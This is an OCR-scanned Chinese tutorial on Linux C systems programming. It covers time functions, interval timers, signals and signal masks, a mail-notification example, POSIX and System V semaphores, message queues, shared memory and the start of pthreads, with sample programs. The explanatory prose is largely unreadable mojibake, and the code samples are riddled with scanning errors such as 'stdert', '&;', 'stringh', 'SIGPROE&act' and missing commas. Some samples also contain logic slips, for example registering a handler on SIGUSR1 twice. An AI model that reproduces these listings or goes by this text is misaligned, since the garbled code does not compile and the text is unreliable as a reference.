time_t time(time_t *tloc);

char *ctime(const time_t *clock);

time RRIZCREIIN 1970 4F 1 1 1 H 0 REBURIFPELAEAAAE time_t 25142 WP AN IX A B AR 3%
[HHES T FRAT I BEBAT A 4 SE B i SCAX AN AR FRATME 28 — A s B D B A ok~ 757 e

XA BRI IR B E IR . — AN FTREEA. Thu Dec 7 14: 58: 59 2000 IXANF4F

AR B 2 [T 5 )l 26

2. BB Ry =

E I A AT T EE T SR PP AT BRI ). B A A T 0] S04 T I 1] 2 B
XA AT DU XA B 2L

#include <sys/time.h>;

int gettimeofday(struct timeval *tv;struct timezone *tz);
strut timeval {

long tv_sec; /* FPEL */

long tv_usec; /* TdAPEL */

53

gettimeofday FF I [A] ORAF LS5 tv Z Ptz — BIRAT AL A NULL SRAVES.
#include <sys/time.h<

#include <stdio.h<

#include <math.h<

void function()

{

unsigned int 1,j;

double y;

for(i=0;i<10005i++)

for(j=0;j<1000sj++)

y=sin((double)i);

}

main()
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{

struct timeval tpstart,tpend;

float timeuse;

gettimeofday(&tpstart, NULL);

function();

gettimeofday(&tpend, NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;

timeuse/=1000000;

printf("Used Time: %f\n" timeuse);

exit(0);

b

AL H PR ) AT IS 1) BATTRT A P AN RAEAT 2R e R A It 2 pR BT
LR M AT LR — MR EE R Used Time: 0556070

3. TETESRY(E

Linux BAE RGO RE—DRERRSEOE T 3 A AR A B v s

ITIMER_REAL: Ji/b> S B 5. 20 B[R B & Hy SIGALRM 15 5.
ITIMER_VIRTUAL: Jal/D A7 RN 8] G R T IR IR TA]). ™ A2 SIGVTALRM {5 5.
ITIMER_PROF: Ji /D35 R (¥ RIS TR) 8 S I 18] (A BE R U 52 P FR) IS 1) XA 283 R0 L i —
AN ISR H 5 3R 48 A RZ I TR0 T 7 I8 1) 2 SIGPROF 5 %5
HARHRAE e -

#include <sys/time.h>;

int getitimer(int which,struct itimerval *value);

int setitimer(int which,struct itimerval *newval,

struct itimerval *oldval);

struct itimerval {

struct timeval it_interval;

struct timeval it_value;

}

getitimer PR 57 2 W] RE TH I 45 (1 I [ PRAFAE value T setitimer R E0IAE L 1) B8 T I 4%
(RIS A A newval. FFE44 IHAE LR AFLE oldval H. which 7S H = ANTH I 85 HH A — A~
itimerval £5 44 "1 (1) it_value 72 J/D (RIS TA], 243X AME A 0 B ISR AR AR 5 1. 4R
JEWCE N it_interval {H.

#include <sys/time.h>;

#include <stdio.h>;

#include <unistd.h>;

#include <signal.h>;

#include <stringh>;

#define PROMPT "IN [A] L2831 25 7 DB\ n\a"
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char *prompt=PROMPT;
unsigned int len;

void prompt_info(int signo)

{
write(STDERR_FILENO,prompt,len);
}

void init_sigaction(void)

{

struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROE&act,NULL);
H

void init_time()

{

struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_wvalue;
setitimer(ITIMER_PROFE&value,NULL);
b

int main()

{

len=strlen(prompt);
init_sigaction();

init_time();

while(1);

exit(0);

H

AR EHAT R 2 a2t — .
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1. E58~=E

Linux T HME S AT LR T DOS I INT 80 /& Windows I LA —/ME 5 KA

G (045 5 i 23 A 5 AH B R AR AE Linux N IAE 5 LA R LA, A MEA Kill -1
i T LU 2 LUK 1 45 2R

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL

5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE

9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2

13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD

18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN

22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ

26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO

30) SIGPWR

KT IX L5 5 PR RS A F man 7 signal IR 45 . 55 FAF R AEG P RIE
o RS R (PRI AT T 7B AR, — S A R DS (L B B A 048 T 2R 4 o K
Bt SR HUE ). O DY SRS 5 R SR EUE kill, raise, alarm A1 setit

imer PREY. setitimer PRELHATIAETHIS B2 AOAEH] B —F 572

#include <sys/types.h>;

#include <signal.h>;

#include <unistd.h>;

int kill(pid_t pid,int sig);

int raise(int sig);

unisigned int alarm(unsigned int seconds);

kill ZRGEH] D1 T [ EFERIE (R sig.

R pid & IEEE A G sig B IR BIBERE pid.

WA pid 25T 08 AM5 5 sig BOAILFIBT LA pid BEREAEF] SRR AL 027

WER pid 88 T -1 AME 5 R4 BT IO HERER IO ERE B T e KRS 2R 5

WUER pid fHT-1LH1 0 —FF, HUg RAXHERE A A2 -pid.

FATHI 2 1 55— MR DL R IC AT HATIAE Sy AR AT A )7 1 2 B AT IR AS % FH X
ANPRBORIE T SCHERE Sy 3 HERE 1) 1)

raise ZRZEY I 1A) H CRAE—A sig 155 AT LU LIRS BRZOR S BUXAS Th RE
alarm BRECHIN A KGR T XA BT LLLE seconds B85 1) H ©AE— 4 SIGALRM {5 %5
o NS bR B A A 4 85 R R

#include <unistd.h>;

main()

{

unsigned int i;

alarm(1);

for(i=0;1;i++)

printf("I=%d",i);

[32 of 104]



| Linux BfE R4 C S gifiAl]]

}
SIGALRM [H48 S A 2 45 RHERE T LR P AE 1 M0 2 )5 S AR T A BRI B e TR 220,
KL — T RKM RGN REZ 57 (B2 2232).

2. [ES1R1E

E I B AT T 7 B E R L (R PA T T AN ARGE R 32 245 5 (R 5 i) e e

1175 B EHDBAFEAE 1 P02 5 AN G AR XA I AT Tt B AT A5 5 IR AE T
o T A e T IR R AR 5 BRI AR5 DR ICE AT 211 1T (1 LA pR

#include <signal.h>;

int sigemptyset(sigset_t *set);

int sigfillset(sigset_t *set);

int sigaddset(sigset_t *set,int signo);

int sigdelset(sigset_t *set,int signo);

int sigismember(sigset_t *set,int signo);

int sigprocmask(int how,const sigset_t *set,sigset_t *oset);

sigemptyset BREHIUGIAE TG set, i set TEE N sigfillset IS TGN
TERE T W E N T 55 AR sigaddset K55 signo IIABIE SHEA Z T sigd
elset ¥405 5 MM T HE A H I BR sigismember A #I{5 5 & A EE S HE A2,
sigprocmask &5 A KR 1) — A eR B AR 2 1T EOE BB LR SR sec XA BREUN
R IR T HRAT st IMABIHEREIF 5 BLIESR 5 2 5 WERRAL T oset A4 i
(HEREA 5 B FESE B S PRATAE oset HLIH.ZEL how BRE BRI #1577 2.
SIG_BLOCK: HiIN— M5 5 5R5 2 4 i at R B2 e 2 .

SIG_UNBLOCK: MMHTIBLIEG G Z kR —ME 5 R4

SIG_SETMASK: K i 15 5 8 & WA N E 5 RS,

P AN SR AR AE AT LA BR 2L

#include <signal.h>;

#include <stdio.h>;

#include <math.h>;

#include <stdlib.h>;

int main(int argc,char **argv)

{

double y;

sigset_t intmask;

int i,repeat_factor;

if(argc!=2)

{

fprintf(stdert,"Usage: %os repeat_factor\n\a",argv[0]);

exit(1);

}

if((repeat_factor=atoi(argv|1]))<1)repeat_factor=10;

sigemptyset(&intmask); /* FHE FEGBE TS */
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sigaddset(&intmask,SIGINT); /* JIAHW Cerl+C {F5*/

while(1)

{

/HRLZEAR 5 BAIANAY BORAF JSOR AR & B AS HO8 NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);

fprintf(stdert,"SIGINT signal blocked\n");

for(i=0;i<repeat_factor;i++)y=sin((double)i);

fprintf(stdert,"Blocked calculation is finished\n");

/* WBHLZE =/

sigprocmask(SIG_UNBLOCK,&intmask,NULL);

fprintf(stdert,"SIGINT signal unblocked\n");

for(i=0;i<repeat_factor;i++)y=sin((double)i);

fprintf(stdert,"Unblocked calculation is finished\n");

}

exit(0);

}

FFAEIE TR A ] CeeloC SR R IRATEE A — T SLI0M 1 SIGINT £ %
TR S B bR 7 BT LARE B S AT 255 D0 FHLZE R IRy 4 2 S5 3R
VERBATA EA M SIGINT A5 5t il LA T AR 5 B i R A5 S I 25 S B2
EE L IFBA BIFERAME T BAF S BRMAGY 13X AME 5 st kAR

A7 I AGFRATIA B 5 E RIS (3 SRR LG i 24 3047 4% T Ceel+C I FRATA AR 4 S0
AV FAT VAR VR P AR XA AR AN T AN 2 EE T AN A2 S R BAT 1. 31X A
I AT £ sigaction PREL

#include <signal.h>;

int sigaction(int signo,const struct sigaction *act,

struct sigaction *oact);

struct sigaction {

void (*sa_handler)(int signo);

void (*sa_sigaction)(int siginfo_t *info,void *act);

sigset_t sa_mask;

int sa_flags;

void (*sa_restore)(void);

h

XA PR HEON 25 1 S A AN AT R e AN AN AT T L SEIZ A B U AL T AH 2
T AR FRATTSEMRRE — T &S H & X signo AR i it & FATTEAL BR)AE 55 T, T LA
AT BV 045 5 A AN 5 AN BERS 4 ] (SIGKILL A1 SIGSTOP). act 5 A TE XX A
g MEAT ] A B A B oact SE ] FL T it BLRIDW XA B EH AL BEAS B T, LRI AR
AP B, — T NULL 3t OK T

155 BT R ST AN R TRA 1S 12 1 27 2.

sa_handler J& — MR HUMFREF XA REHR A B B — DS EX A
RFRATTEAT S S EAE N BR 2L sa_sigaction,sa_restore Fl sa_handler ZE A2 [, 1,
TESHAR S T XA TR B R AE T

sa_flags JHR W EAR THAEI &AL —BCE N 0 4F T sa_mask FATO &Il T
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LEAE T B ER AT sa_handler $5 18] B AT T — M5 T8 E B8 T L T sa_handler 5

PIANREER{E : SIG_DEL Hl SIG_IGN.SIG_DEL & il FH 844 1115 54545 R 4, T SIG_IGN &

fi

BUEAZAF 5 R ERAE R

XA R 2% AT — A SR . XA B AT LA ] 7 B CTRLAC A5 5 i

tH— MR

#include <signal.h>;

#include <stdio.h>;

#include <stringh>;

#include <errno.h>;

#include <unistd.h>;

#define PROMPT "JRAHZ 11 12

char *prompt=PROMPT;

void ctrl_c_op(int signo)

{

write(STDERR_FILENO,prompt,strlen(prompt));

}

int main()

{

struct sigaction act;

act.sa_handler=ctrl_c_op;

sigemptyset(&act.sa_mask);

act.sa_flags=0;

if(sigaction(SIGINT,&act,NULL)<0)

{

fprintf(stdert,"Install Signal Action Error: %s\n\a"strerror(errno));

exit(1);

H

while(1);

H

1 B AE 5 8 R B b FRA M T write BRELTT A A fprintf BREIE N

TRATTEEE R BT 1A LA R A THEAT SHRAE IR AT —AME 5 R A B AR %

ﬁﬂﬁiﬁ“}%? N T AL BEAEAS 5 Ab B R HOS AT IS 5 1O R 2 AT 75 B, sa_mask
- AT EATEBE RS S AINE] sa_mask Z5H4) 224 P 25 S AT IX 28 R AU/ A5 5 AR R I

ﬂ%frjcz%}i}:‘ A .

3. :/H\: b1|=|"?" ﬁi

E?fé%ﬁ’ﬁ%’ﬁ%ﬂk@th&ﬁ 7% BA A 4 LM 5 BRA pR 2L

#include <unistd.h>;

#include <signal.h>;
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int pause(void);

int sigsuspend(const sigset_t *sigmask);

pause PRECAR fi] oL L2 HEAD RERE L2 M 5 K 110 sigsuspend o2 HulE 3E 72 2 AE
AP R sigmask BRI (04 5 BLZE SR 45

#include <sigsemp>;

int sigsetjmp(sigjmp_buf env,int val);

void siglongjmp(sigimp_buf env,int val);

H01F goto FRELEL Z setjmp Fl longjmp &£ 3X P /M 5 B4 bR £t v DASICEURE 7 1)
BRA UL AT AT U bR Kl e 2 B AT 2y

11 BT LAS e B BA TR A @ 2 B UL B T N RS D0 & IR LA ).

4. — LB

‘Z-
N
L— ACAFERATIAE T 3P BERE GG RIS TR P g2 T 4 HEREAE X HLIRA THE A

FEFE ISR 5. N XA P2 AR T LA A T P A AL 32 T — IO i AR
JUANRERE P 3R A7 B R IS 205k iT LA k) B2 P A a6 SIGUSR2 A A SR ARRE P 4 7 ] L
K% SIGUSRI1 1545

#include <unistd.h>;

#include <stdio.h>;

#include <errno.h>;

#include <fcntl.h>;

#include <signal.h>;

#include <stringh>;

#include <pwd.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

/* Linux [ERAEAS NI IBFTHIAESE  /var/spool/mail/ */
#define MAIL._DIR "/vat/spool/mail/"

/% MR 10 FBER */

#define SLEEP_TIME 10

#define MAX_FILENAME 255

unsigned char notifyflag=1;

long get_file_size(const char *filename)

{

struct stat buf;

if(stat(filename,&;buf)==-1)

{

if(errno==ENOENT)return 0;

else return -1;

}

return (long)buf.st_size;
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}

void send_mail_notify(void)

{

fprintf(stdert,"New mail has arrived\007\n");
}

void turn_on_notify(int signo)

{

notifyflag=1;

}

void turn_off_notify(int signo)

{

notifyflag=0;

}

int check_mail(const char *filename)

{

long old_mail_size,new_mail_size;

sigset_t blockset,emptyset;
sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);
old_mail_size=get_file_size(filename);
if(old_mail_size<O)return 1;
if(old_mail_size>;0) send_mail_notify();
sleep(SLEEP_TIME);

while(1)

{
if(sigprocmask(SIG_BLOCK,&;blockset, NULL)<0) return 1;
while(notifytlag==0)sigsuspend(&;emptyset);
if(sigprocmask (SIG_SETMASK,&;emptyset, NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>;old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);

H

H

int main(void)

{

char mailfilelMAX_FILENAME];

struct sigaction newact;

struct passwd *pw;
if((pw=getpwuid(getuid()))==NULL)

{

fprintf(stdert,"Get Login Name Error: %s\n\a" strerror(errno));
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exit(1);

}

strepy(mailfile, MAIL_DIR);
strcat(mailfile,pw->;pw_name);
newact.sa_handler=turn_on_notify;

newact.sa_flags=0;

sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact, NULL)<0)
fprintf(stdett,"Turn On Error: %s\n\a" strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact, NULL)<0)
fprintf(stdert,"Turn Off Error: %s\n\a" strerror(errno));
check_mail(mailfile);

exit(0);

}

H T IR AR R 2R S, B BRATTAR B 2 rP i SRR R I AT 2 I R AR AR R )
T REAF T BRAE I B ) RIS A B T KB 25 2] DALANE 22 B LT ANt R A7)
U A IS A7 T B LA R Bt ZE= AL T AT Al 2X R T
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—

1.POSIX T ZE5 &

ﬁl:l RARE 2B RGNA B E AT PV 38AE TPV B2 T B AU B A

A LU BT IR AE — 5 B TR, L B — D EERE I AUISAE CPU LT AT AE R G824 A7 I i
T MGOR A TR R 37 38 2 B0 KK B ) T8 5 IO e JRA T A8 F — S T EIHL, 2R
A 7] — I 207 P9 A HEREAE 8] T ED B L IS e 2 1 45 R 25 R AT AW T Ak B A A
HLPOSIX hrfEfe thl 147 415 5 AT A AE 5 AN, 1T Linux HSEHL T G415 58,341
FERX RN R AT 58 1. A5 5 A 32 202 RO/ 3L = B A R BE A —
I 2 U — AN BERE T e 3RA AT LU —AME 5 00 2505 5 KT AR A AN LA Ik 5
W IS R AN T LU A5 U % > 7w LA .

N TR Rt TR LA R

POSIX T4 15 5 B ECH LR LA

#include <semaphore.h>;

int sem_init(sem_t *sem,int pshared,unsigned int value);

int sem_destroy(sem_t *sem);

int sem_wait(sem_t *sem);

int sem_trywait(sem_t *sem);

int sem_post(sem_t *sem);

int sem_getvalue(sem_t *sem);

sem_init GEE— MG 5T HVIUAAILAEA value.pshared YRIE T 155 = AER 76 ) LA HERE
[AIAE S d1 T H T Linux B0 SEBLBERE A SE A5 50T B U AME A BEBZHX 0. sem_dest

roy A& FHSRMIBRAE 5 AT 1).sem_waic I FKF PHEERERR, LB 54T R T 00X A4S B 250R 1]

(R A% ) PR 5 KT TRMEL IR — sem_post Rl sem_wait AH 5, /& K545 5-KT 141 P9 25 0 — [
Bk AT 5 e P S A miﬁﬁz..sem_trywait 1 sem_wait AH[H) AN it A Eﬂ%ﬁ’ﬂ,‘é S A

0 FRINHE IR [F] EAGAIN, K 7R LS B sem_getvalue 153 215 5 4T FIE.

1T Linux ANSCREIRATTBAT IME IS RE A Re 1

XA BR H A PR 2 15 B P L S FRA T — R 2 1) — AN R G AT EDHILET BN 5. 3RAT ]
HAEIE—AME FAT JHE AR 1R R TATE — BT ARG — DR ] se
m_wait [T IRXANIGAE S AT 10T PUXAS s R [0 AT ERFLITF AR T ER T [R5 5 kT
PER 0 7. Qe AN TED, I sem_wait INHE, B T15 5 KT IME A 0, %8R A T
HIL T RMRHIE T 2458 — AN EREAT EN S8 i BU T sem_post {5 54T BB 1 1 XA i
RYGBANH AP, T AR sem_wait 3% 1[5 T ANBEREIFAGSTED T

AN FATT AT LA e R A AR X A ) R 1) FRATT AR J TR AT A S 2R 2 1R 0055
THEX LA BB R 20 b Lee 326 10%, DU RS librt.so FE

2. System V (E5 =

L)
j‘] T AR LT ) B TR T LU System V {35 AR 42

(1
=
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7 Linux SEHL T System VA5 55 IXAE A THL AT LU SEGRAERE 1. System V{5 5 E (11K
OB R i LA

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/sem.h>;

key_t ftok(char *pathname,char proj);

int semget(key_t key,int nsems,int semflg);

int semctl(int semid,int semnum,int cmd,union semun arg);

int semop(int semid,struct sembuf *spos,int nspos);

struct sembuf {

short sem_num; /* A HIE—/ M55 */

short sem_op; /* HATH A #AE */

short sem_flg; /* #AEMIFRE */

55

frok PREUEARHE pathname AT proj KB — KM T semget B —ME 5 5 Dl iz [A]
{55 ) IDkey J&—ANRBE T, AT LU frok B2 (9t AT LU IPC_PRIVATE % W i R 4% ]
— A RBET. nsems R Y TA TR 115 5 DKL semflg & B ITBLRFR & AN FAT B — A
SCAF bR A [,

semetl X5 5 AT — RV KHE . semid f& ZHRA IO 5 FR S, semnum 215 5 (4 cm

d SEHRAE I a4 2% - P /MIE S . SETVAL(R BAS 5 2 KE) 1 TPC_RMID M BR {5 5-41).
arg &4 emd IS

semop X5 T HEATHRAE I PR EL semid 215 5 HR & spos J& — MRAFEALIR I ZHATH 4
#4E nspos KIIEA A4, WHER sem_op KT 0B AEAEW sem_op MIAZIME S EIET
SRR S MR EERE. RO 02945 5 AR 0 PRI, R 3R [0, 175 JUU B 26 .
FUF S EMMEA 0. WERANT 0, R BOAIWHE S B EIN XA U W SR S5 R 0 Ml 254y
R 0 EERE IR/ 0 BB ZE I SRR T 0,084 G 528 L T 9k 253X B 3R [

N THTRATT LA SRR BE TR LA BRSO AS T 75 X AR Fe H b AR DA LR AR 3K
ATHIAIST EIHL.

#include <stdio.h>;

#include <unistd.h>;

#include <limits.h>;

#include <errno.h>;

#include <stringh>;

#include <stdlib.h>;

#include <sys/stat.h>;

#include <sys/wait.h>;

#include <sys/ipc.h>;

#include <sys/sem.h>;

#define PERMS S_IRUSR |S_IWUSR

void init_semaphore_struct(struct sembuf *sem,int semnum,
int semop,int semflg)

{

/* WHRUE S HT 45K */
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sem->;sem_ num=semnum;

sem->;sem_op=semop;

sem->;sem_flg=semflg;

}

int del_semaphore(int semid)

{

/% AR KT IFANBERE Y RO 2 AR R, T SR AT Tk R % O 1 5CA 0)
LA ipes i B 2IME 50T iperm 7T LUIMIBR A 54T 10
*/

#if 1

return semctl(semid,0,IPC_RMID);

Hendif

}

int main(int argc,char **argv)

{

char buffer]MAX_CANON],*c;

int i,n;

int semid,semop_ret,status;

pid_t childpid;

struct sembuf semwait,semsignal;

if((argc!=2) | | (n=atoi(argv[1]))<1))

{

fprintf(stdert,"Usage: %s number\n\a" argv[0]);

exit(1);

}

/* AEH IPC_PRIVATE Ko H RGUEFE— KRB OREIE +/
/* B LURAS 5 AT IAAR{EN 0/
if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)

{

fprintf(stdert,"[%d]: Acess Semaphore Error: %s\n\a",
getpid(),strerror(errno));

exit(1);

H

/* semwait 7& ER BRI I HRAE (1) */
init_semaphore_struct(&semwait,0,-1,0);

/* semsignal A2 R TBCFE IR IR HRAE (+1) */
init_semaphore_struct(&semsignal,0,1,0);

/% THIE G — ARG (— M ARUER BT ) */
if(semop(semid,&semsignal,1)==-1)

{

fprintf(stdert,"[%d]: Increment Semaphore Error: %s\n\a",
getpid(),strerror(errno));

if(del_semaphore(semid)==-1)

fprintf(stdert,"[%d]: Destroy Semaphore Error: %s\n\a",
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getpid(),strerror(errno));

exit(1);

}

/* QI — AN ERERE </

for(i=0;1<n;i++)

if(childpid=fork()) break;

sprintf(buffer," [i=%d]-->;[Process=%d]-->;[Parent=%d]-->;[Child=%d] \n",
i,getpid(),getppid(),childpid);

c=buffer;

/* XSRS TR +/
while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)

{

fprintf(stdert,"[%d]: Dectement Semaphore Error: %s\n\a",
getpid(),strerror(errno));

}

else

{

while(*c!="\0")fputc(*c++,stderr);

/* T B S L OB BRI +/
while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)

fprintf(stdert,"[%d]: Increment Semaphore Error: %s\n\a",

getpid(),strerror(errno));

}
/* ANBEMEAEHABRERE S 55 kT IR I B AT BR T 45547 +/
while((wait(&status)==-1)&&(errno==EINTR));
/* ARSI A BERSMR — IR </
ifi==1)
if(del_semaphore(semid)==-1)
fprintf(stdert,"[%d]: Destroy Semaphore Error: %s\n\a",
getpid(),strerror(errno));
exit(0);
H
5 KT ) TR DR S BRI (A NI 2 e N RERE T A).

3. SystemV iHE BT

A
j‘j TAE IR (AR AT MG A BB SystemV B4 T

— LU R HOR S BLIE R R AT X A2 T ELBA S,
#include <sys/types.h>;
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#include <sys/ipc.h>;

#include <sys/msg.h>;

int msgget(key_t key,int msgflg);

int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);
int msgrev(int msgid,struct msgbuf *msgp,int msgsz,

long msgtype,int msgflg);

int msgctl(Int msgid,int emd,struct msqid_ds *buf);

struct msgbuf {
long msgtype; /* 1HEKA */
....... /% FAREHE SRR +/

msgget B MR semeet R[] ELBABU 7 2 msgedd T semed J2 % i L 7551
.. msgsnd Fl msgrev PR HUE FR AT IH B TR msgid & 852 808 A% 1 B BAIFR &,
msgp &% B AL N A msgsz ZVH B/, 458 msgbuf B& KN A2 2 DH —A
h msgtype. HA I 702 F P g SCIRXS 3 A BR L msgflg Fi HH 2% i DX 58 IS PR 45 A
B2 bR B G SN R AL B — A 0. BRWCRR B msgtype $i5 H BSOS ELIN PRI 484

WA msgtype=0,32 W07 B BAFI R 55— AN B KT 0 B BA S v B 2R B A5 T3 /M 1) 56
N RN T 0 O BB TN T B A5 T msgtype 40 R ITAT R B B — N
B FRATEA— TR AR RERE R AR N XM P AT server Al client 2H B 563847 IR 55
Ui e 1B AT 5 i

AR %53t server.c

#include <stdio.h>;

#include <stringh>;

#include <stdlib.h>;

#include <errno.h>;

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/stat.h>;

#include <sys/msg.h>;

#define MSG_FILE "server.c"

#define BUFFER 255

#define PERM S_IRUSR |S_IWUSR

struct msgtype {

long mtype;

char butfer BUFFER+1];

55

int main()

{

struct msgtype msg;

key_t key;

int msgid;
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if((key=ftokMMSG_FILE,'a"))==-1)

{

fprintf(stdert,"Creat Key Error: %s\a\n",strerrot(errno));
exit(1);

}

if((msgid=msgget(key, PERM | IPC_CREAT | IPC_EXCL))==-1)
{

fprintf(stdert,"Creat Message Error: %s\a\n" strerror(errno));
exit(1);

}

while(1)

{

msgrev(msgid,&msg,sizeof(struct msgtype),1,0);
fprintf(stdert,"Server Receive: %os\n",msg.buffer);
msgmtype=2;

msgsnd(msgid,&msg,sizeof(struct msgtype),0);

}

exit(0);

}

% P i (client.c)

#include <stdio.h>;
#include <stringh>;
#include <stdlib.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/msg.h>;
#include <sys/stat.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR |S_IWUSR
struct msgtype {

long mtype;

char buffer[BUFFER+1];

¥;

int main(int argc,char **argv)
{

struct msgtype msg;

key_t key;

int msgid;

if(argc!=2)

{
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fprintf(stdert,"Usage: %os string\n\a",argv[0]);

exit(1);

}

if((key=ftokMSG_FILE,'a"))==-1)

{

fprintf(stdert,"Creat Key Error: %s\a\n" strerror(errno));
exit(1);

}

if((msgid=msgget(key, PERM))==-1)

{

fprintf(stdert,"Creat Message Error:  %s\a\n" strerror(errno));
exit(1);

H

msgmtype=1;

strncpy(msg: buffer,argv[1],BUFFER);
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
memset(&msg,"\0',sizeof(struct msgtype));
msgrev(msgid,&msg,sizeof(struct msgtype),2,0);
fprintf(stdert,"Client receive: %s\n",msg.buffer);

exit(0);

}

T 55 v G S PO B BA A S Je v AT Mk B AT T ZEAE ] iperm iy 2 SR MMBR ).

4. SystemV HEZERHTF

‘
; l\
L A AR I 7V 2 A L2 N A System V. 2405 T BUR JUAN R B LA Sz B 3 =2

WA

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/shm.h>;

int shmget(key_t key,int size,int shmflg);

void *shmat(int shmid,const void *shmaddr,int shmflg);

int shmdt(const void *shmaddr);

int shmctl(int shmid,int cmd,struct shmid_ds *buf);

shmget Ml shmetl BT A LFARRE I size SEILEAAEAIR/IN. shmat fE HREFZEILZ N AF
(¥).shmde 2 FIR W FIE 52 P A7 100 AN B o5 A A7 3 T T £ 352 Py A7 L SAR 7 2 SE LA
). shmaddr,shmflg BATZH] 0 AR LA T AL — IS E A A7 Z AT AT s
hmat #5235 A AE TR ik A T 45 R BLS BATTAE AT shde BFIZXAS N AF.

#include <stdio.h>;

#include <stringh>;

#include <errno.h>;
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#include <unistd.h>;

#include <sys/stat.h>;

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/shm.h>;

#define PERM S_IRUSR |S_IWUSR

int main(int argc,char **argv)

{

int shmid;

char *p_addr,*c_addr;

if(argc!=2)

{

fprintf(stdert,"Usage: %os\n\a",argv[0]);

exit(1);

}
if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)
{

fprintf(stdert,"Create Share Memory Error: %s\n\a" strerror(errno));
exit(1);

}

if(fork())

{

p_addr=shmat(shmid,0,0);

memset(p_addr,"\0',1024);
strncpy(p_addr,argv(1],1024);

exit(0);

}

else

{

c_addr=shmat(shmid,0,0);

printf("Client get %s",c_addr);

exit(0);

H

H

IXAFEP 2 SRR Z A N B A A7 SR 5 T EREAE N AR K B Ja BATTZAEHT ip
crm BETRCBEUR ). 56 H] ipes #k 1D #RJ5 H] iperm shm ID JfER.
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i
ML
j{_,ﬁﬁ%@q%@%ﬁ?%%%ﬁ@%%M%ﬁ%%*%ﬁ%%ﬁ%ﬁﬁﬁ%%%

SAETR LSRR AR R AR I3, A BRI/ T R R AR AR
o7 S HERETEAR (TR0 R B (R NE 2 B CANWT S R PP AR L T AR k25 E A
TARZ I FIIRRT L2 25 W] 1 3 B AR 2 #2308 5 K00 R AR 2 T4 SRR
AT IR R AT
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FLE ZKIFRIE

|lf;

HIl

AN

} QT Linux FERFERIAIEFIEA M. Linux RS — AR 52 A% 0 8,

T IR LRI 25 ST AR G AR X HL IR ] B 1R A R LR (K G AR A IR A O T 46
FE (1 R AT Y (AN R 1) P e R 1) L e R 1 [ 20 35 55 ) ) ml BAS 25 B i 45 1)
TORL BUAE IS T ERAE A BORIE P 2% b n] AR BIVF 2 S0 SCR0RL 5 1 32 81 T VF 2 R X
SRR R ORI TE TT LA — 1. SR BN AR 1 T LU BRI ) I Bk
ST KR SO AR 2R T A PR R AR AR e M RENS R 58
S At A SR A G S IR K 2 B0nT LU RO 2 R ) 0 R 7 e 44 T 11

WP S AT 0 SR FRATIAE P e R 1 18 R e b 2 A B AT T S e B PR T 70 S AR R A
P FEARAT IS R R AN 1 BERE 22 AN 2 ) SN AR 7 )b R Sl el 4% DA TR 1 3
b2 TR AP T 1. 110 2 R T 3 R A R T 1, DF RS AR il A2 R (R AT ] 1
AR AT T LR AT P 2R PR 0 Ak ) BACYY 8 B9, b - e R e L AR 14, B L
AR IR AR 2%
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1LETE ) B At ]

é .
‘—% R A2 F R T R LA B Ok SEIL).

#include <pthread.h>;

int pthread_create(pthread_t *thread,pthread_attr_t *attr,

void *(*start_routine)(void *),void *arg);

void pthread_exit(void *retval);

int pthread_join(pthread *thread,void **thread_return);

pthread_create B —A 2k T2 thread & H KR BB LR RE IDattr $5 H 26 FE Q) JEHIN R

(1) & 1, FRAT T NULL SR B FH 5124 J& 1 .stare_routine PR AT B & LR B ) J5 T4k
AT 1) R L arg R IXAN BREIME— — DS EL R WL S start_routine I Z L. pthrea
d_exit BREUF exit B ETAL)HISICAR H 2R JX A R Bl h SR 2 B8 T80 e 250 P B8 05 O A B e
PHZE, B 2 AL AL ] pthread_join pREAEAF L AR5 K Fretval FRIME A% i 45+ thread
return. {1 3K A B&BORETIT LA 0 BR BCBE U BT LA retval ANBEREHR 1) bR ER ) Jm) FS AR 2. pe
hread_join I wait P —FF R Rrfi @ IZAE. NI ERAT 1AL A — AN Sl ke e — T AE
598 AR T2 e b FRATV G 8 A Ay — S SOPF I TR T BASEIR 4 1 H SR 1T A 3
PE8AR 23R 15 2844 4 bak

#include <stdio.h>;

#include <unistd.h>;

#include <stdlib.h>;

#include <stringh>;

#include <errno.h>;

#include <pthread.h>;

#include <dirent.h>;

#include <fentlh>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <sys/time.h>;

#define BUFFER 512

struct copy_{file {

int infile;

int outfile;

IF

void *copy(void *arg)

{

int infile,outfile;

int bytes_read,bytes_write,*bytes_copy_p;

